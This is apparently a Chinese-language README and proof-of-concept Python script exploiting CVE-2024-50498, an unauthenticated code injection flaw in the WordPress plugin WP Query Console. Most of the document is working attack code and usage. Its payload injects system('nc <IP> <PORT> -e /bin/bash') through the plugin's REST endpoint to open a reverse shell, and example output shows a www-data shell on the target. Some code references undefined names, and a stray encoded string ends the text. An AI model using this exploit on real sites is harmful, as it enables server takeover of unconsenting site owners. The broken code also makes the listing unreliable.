WP Query Console 漏洞检测与利用工具
本项目提供了一个针对 WordPress 插件 WP Query Console(版本 1.0 及以下)中存在的严重代码注入漏洞(CVE-2024-50498)的概念验证(PoC)脚本。该漏洞允许未经身份验证的攻击者在受影响的 WordPress 站点上执行任意系统命令,从而导致网站完全被接管。
⚠️ 重要提示:本工具仅用于授权的安全测试和教育目的。未经授权使用本工具攻击他人系统属于违法行为。
功能特性
- 漏洞检测:自动检测目标站点是否安装并启用了存在漏洞的 WP Query Console 插件版本 1.0。
- 远程命令执行:通过构建自定义载荷,利用
system()函数在目标服务器上执行任意系统命令。 - 反向 Shell 获取:自动生成反向 Shell 载荷,将目标服务器的 Bash Shell 反弹到攻击者指定的 IP 和端口。
- 简单易用:提供清晰的命令行参数接口,一键完成从检测到利用的全流程。
- 教育目的:帮助安全研究人员和安全团队理解该漏洞的原理与危害,提升防护能力。
安装指南
系统要求
- Python 3.6 或更高版本
requests库
安装步骤
-
克隆或下载本项目代码文件(
CVE-2024-50498.py)到本地。 -
安装 Python 依赖库:
pip install requests
- (可选)验证安装:
python CVE-2024-50498.py -h
如果显示帮助信息,说明安装成功。
使用说明
基础用法
python CVE-2024-50498.py -u <目标URL> -ip <监听IP> -P <监听端口>
参数说明
| 参数 | 简写 | 必需 | 描述 |
|---|---|---|---|
--url | -u | 是 | 目标 WordPress 站点的 URL(例如 http://example.com/wordpress) |
--listener_ip | -ip | 是 | 用于接收反向 Shell 连接的本地 IP 地址 |
--port | -P | 是 | 用于接收反向 Shell 连接的本地端口 |
典型使用场景
场景:获取存在漏洞的 WordPress 站点的 Shell 访问
- 启动 Netcat 监听器(在攻击者机器上):
nc -lvnp 4444
- 运行漏洞利用脚本:
python CVE-2024-50498.py -u http://vulnerable-site.com -ip 192.168.1.100 -P 4444
- 观察输出:
[+] The site is vulnerable! Plugin version is 1.0.
[+] Exploit executed successfully!
Response:
{"success":true}
- 返回 Netcat 终端:您将获得目标服务器的交互式 Bash Shell。
connect to [192.168.1.100] from (UNKNOWN) [10.0.0.5] 54321
whoami
www-data
pwd
/var/www/html
API 概览
本工具提供三个核心函数:
check_url(target_url):检测目标是否存在漏洞。payload(listener_ip, listener_port):生成反向 Shell 载荷数据。exploit(target_url, payload):向目标发送执行载荷的 HTTP 请求。
核心代码
漏洞检测模块
def check_url(target_url):
if not target_url.startswith("http://") and not target_url.startswith("https://"):
target_url = "http://" + target_url
try:
response = requests.get(check_version, timeout=30)
if response.status_code == 200 and "Stable tag: 1.0" in response.text:
print("[+] The site is vulnerable! Plugin version is 1.0.")
return True
else:
print("[-] The site does not appear to be vulnerable.")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error while checking the URL: {e}")
return False
载荷生成模块
该函数构建一个包含系统命令的 JSON 载荷,利用 system('nc <IP> <PORT> -e /bin/bash') 执行反向 Shell 命令。
def payload(listener_ip, listener_port):
command = f"nc {listener_ip} {listener_port} -e /bin/bash"
data = {
"queryArgs": f"system('{command}')",
"queryType": "WP_Query"
}
return data
漏洞利用模块
该函数向 WordPress REST API 端点 /wp-json/wqc/v1/query 发送 POST 请求,携带恶意载荷,触发代码执行。
def exploit(target_url, payload):
if not target_url.startswith("http://") and not target_url.startswith("https://"):
target_url = "http://" + target_url
endpoint = "/wp-json/wqc/v1/query"
url = f"{target_url}{endpoint}"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
}
try:
response = requests.post(url, json=payload, headers=headers, timeout=30)
if response.status_code == 200:
print("[+] Exploit executed successfully!")
print("Response:")
print(response.text)
else:
print(f"[-] Exploit failed. Status code: {response.status_code}")
print("Response:")
print(response.text)
except requests.exceptions.RequestException as e:
print(f"[-] Error while executing the exploit: {e}")
主控制流程
整合检测、载荷生成和利用步骤,提供命令行参数解析功能。
def main():
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://example.com/wordpress)")
parser.add_argument("-ip", "--listener_ip", required=True, help="Your IP address for listening.")
parser.add_argument("-P", "--port", required=True, help="Your listening port.")
args = parser.parse_args()
if check_url(args.url):
data = payload(args.listener_ip, args.port)
exploit(args.url, data)
else:
print("[-] Target is not vulnerable. Exiting.")
6HFtX5dABrKlqXeO5PUv/3Nta6w4VaOCq80w5wwAu6k=